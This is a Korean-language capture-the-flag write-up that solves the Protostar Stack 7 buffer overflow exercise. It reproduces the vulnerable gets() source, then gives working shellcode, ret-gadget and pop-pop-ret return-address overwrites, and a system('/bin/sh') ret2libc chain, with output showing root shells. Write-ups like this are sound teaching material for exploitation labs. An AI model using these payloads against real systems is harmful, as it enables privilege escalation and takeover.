Stack 7의 소스코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> char *getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xb0000000) == 0xb0000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); return strdup(buffer); } int main(int argc, char **argv) { getpath(); } | cs |
Stack 6 보다 RET 변조에 대한 제약을 더 심하게 걸어놓았습니다. RET가 0xb로 시작하게 되면 프로그램이 종료되게 됩니다. 그렇기 때문에 RET에 라이브러리 주소들은 집어 넣을 수 없습니다. 하지만 우리는 Stack 6에서 ROP와 Chaining RTL에 대해 자세히 살펴 보았기 때문에 Stack 7은 상당히 쉽게 해결할 수 있습니다. 바로 Gadget을 이용하는 겁니다.
Step 1. 원칙적으로는 buffer의 크기는 파악해야 하지만, Stack 6과 변수 선언이 같으므로 buffer의 크기는 76 Bytes 입니다.
Step 2. objdump를 이용하여 Gadget에서 ret을 찾습니다. ret은 다 똑같기 때문에 아무거나 마음에 드는 것을 선택합니다.
1 2 3 4 5 6 7 8 9 10 11 | user@protostar:~$ objdump -d /opt/protostar/bin/stack7 | grep ret 8048383: c3 ret 8048494: c3 ret 80484c2: c3 ret 8048544: c3 ret 8048553: c3 ret 8048564: c3 ret 80485c9: c3 ret 80485cd: c3 ret 80485f9: c3 ret 8048617: c3 ret | cs |
Step 3. 다음과 같은 간단한 payload를 만들 수 있습니다. shellcode를 환경 변수에 등록하고 buffer와 SFP 영역을 A로 채운 다음 Gadget에서 찾은 ret을 입력하고 그 다음 shellcode를 집어 넣으면 shellcode가 실행되게 됩니다.
1 2 3 4 5 6 7 8 9 | user@protostar:~$ export juun=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0 \xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e \x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'` user@protostar:~$ ./getEnvAddr juun /opt/protostar/bin/stack7 juun Address : 0xbfffff1f user@protostar:~$ (python -c 'print "A"*80+"\x83\x83\x04\x08"+"\x1f\xff\xff\xbf"';cat) | /opt/protostar/bin/stack7 input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA귺AAAAAAAAAAA?? id uid=0(root) gid=1001(user) groups=0(root),1001(user) | cs |
Step 4. 이전 Stack 6에서 본 것과 같이 pop-pop-ret을 이용하여도 문제를 풀 수 있습니다. Gadget에 있는 pop-pop-ret의 시작 주소와 pop이 2번 발생하기 때문에 A라는 dummy 값을 8 Bytes 집어 넣고, shellcode를 실행시키는 payload 입니다.
1 2 3 4 | user@protostar:~$ (python -c 'print "A"*80+"\x92\x84\x04\x08"+"A"*8+"\x1f\xff\xff\xbf"';cat) | /opt/protostar/bin/stack7 input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA묨AAAAAAAAAAA묨AAAAAAA? id uid=0(root) gid=1001(user) groups=0(root),1001(user) | cs |
Step 5. 다음과 같이 Stack 6과 같이 system("/bin/sh")을 실행시킬 수도 있습니다.
1 2 3 4 | user@protostar:~$ (python -c 'print "A"*80+"\x92\x84\x04\x08"+"A"*8+"\xb0\xff\xec\xb7"+"\xc0\x60\xec\xb7"+"\xbf\x63\xfb\xb7"';cat) | /opt/protostar/bin/stack7 input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA묨AAAAAAAAAAA묨AAAAAAA?痍?痍풻蹊 id uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user) | cs |